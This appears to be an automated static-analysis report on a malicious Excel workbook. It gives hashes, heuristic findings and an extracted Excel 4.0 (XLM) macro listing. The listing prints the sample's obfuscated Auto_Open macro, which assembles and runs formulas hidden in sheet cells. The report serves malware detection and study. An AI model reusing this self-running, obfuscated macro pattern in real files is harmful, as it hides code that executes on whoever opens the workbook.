Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0f53b83971a9d40c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:36:32 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: e1f0b22e9c7022a4495772414f80ae64 SHA-1: 1a7eea3cd5a17f8c924cd0c356a1a9549e83c82a SHA-256: 0f53b83971a9d40c9f0eb6d63880e0fe81b4f7a63717eb96c153e9949b15c5ac
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known method for executing malicious code. The critical heuristic firings indicate the presence of dangerous formula APIs within the Auto_Open macro, suggesting it is designed to download and execute a secondary payload. No specific family could be identified from the available evidence.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6421 bytes
SHA-256: 0af2a1a1d97a92447770a463166daa8d7f8789c76059309bfc4d53bf26030146
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  saI
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E141 
' 0018     26 LABEL : Cell Value, String Constant - awJdaChkQLI len=0 
' 0018     25 LABEL : Cell Value, String Constant - bRlGHGVrlU len=0 
' 0018     20 LABEL : Cell Value, String Constant - byuCh len=0 
' 0018     21 LABEL : Cell Value, String Constant - DwuZxL len=0 
' 0018     23 LABEL : Cell Value, String Constant - grVLQEDX len=0 
' 0018     27 LABEL : Cell Value, String Constant - huzRZfCGAbHx len=0 
' 0018     25 LABEL : Cell Value, String Constant - iwsBJLAWed len=0 
' 0018     22 LABEL : Cell Value, String Constant - jBcvTXS len=0 
' 0018     22 LABEL : Cell Value, String Constant - JOvEZFK len=0 
' 0018     24 LABEL : Cell Value, String Constant - KLFAtbRjs len=0 
' 0018     20 LABEL : Cell Value, String Constant - LTonG len=0 
' 0018     20 LABEL : Cell Value, String Constant - MvieN len=0 
' 0018     25 LABEL : Cell Value, String Constant - nbjJYJRUPv len=0 
' 0018     25 LABEL : Cell Value, String Constant - oWuqcmesMW len=0 
' 0018     22 LABEL : Cell Value, String Constant - QHiNhrg len=0 
' 0018     23 LABEL : Cell Value, String Constant - scMHnbiT len=0 
' 0018     22 LABEL : Cell Value, String Constant - sDBkzDk len=0 
' 0018     24 LABEL : Cell Value, String Constant - wjszkyqTy len=0 
' 0018     25 LABEL : Cell Value, String Constant - YytEAHdUki len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZWeRGwrYPo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  saI,E55,"SET.NAME("bRlGHGVrlU",VALUE("0"))",""
'  saI,E57,"SET.NAME("nbjJYJRUPv",bRlGHGVrlU)",""
'  saI,E60,"SET.NAME("byuCh",bRlGHGVrlU)",""
'  saI,E63,"SET.NAME("DwuZxL",COUNTA(KLFAtbRjs))",""
'  saI,E66,"SET.NAME("ZWeRGwrYPo",COUNTA(YytEAHdUki))",""
'  saI,E71,[],""
'  saI,E73,"SET.NAME("LTonG","")",""
'  saI,E77,"nbjJYJRUPv",""
'  saI,E79,"SET.NAME("grVLQEDX",HLOOKUP("*",KLFAtbRjs,nbjJYJRUPv,FALSE))",""
'  saI,E83,"awJdaChkQLI",""
'  saI,E85,"SET.NAME("huzRZfCGAbHx",bRlGHGVrlU)",""
'  saI,E87,[],""
'  saI,E90,"huzRZfCGAbHx",""
'  saI,E95,"wjszkyqTy",""
'  saI,E97,"QHiNhrg",""
'  saI,E101,"oWuqcmesMW",""
'  saI,E104,"SET.NAME("scMHnbiT",VALUE(HLOOKUP("*",YytEAHdUki,oWuqcmesMW,FALSE)))",""
'  saI,E109,"MvieN",""
'  saI,E112,"LTonG",""
'  saI,E116,"byuCh",""
'  saI,E119,NEXT(),""
'  saI,E121,"JOvEZFK",""
'  saI,E125,"SET.NAME("f",INT(T(FORMULA(T(LTonG)&"",""&T(JOvEZFK)))))",""
'  saI,E129,"iwsBJLAWed",""
'  saI,E131,NEXT(),""
'  saI,E136,RETURN(),""
'  saI,E171,"SET.NAME("sDBkzDk",E55)",""
'  saI,E174,"KLFAtbRjs",""
'  saI,E177,"SET.NAME("YytEAHdUki",R82C13)",""
'  saI,E182,"SET.NAME("iwsBJLAWed",189)",""
'  saI,E184,"SET.NAME("jBcvTXS",5)",""
'  saI,E188,sDBkzDk(),""
'  saI,E189,HALT(),""

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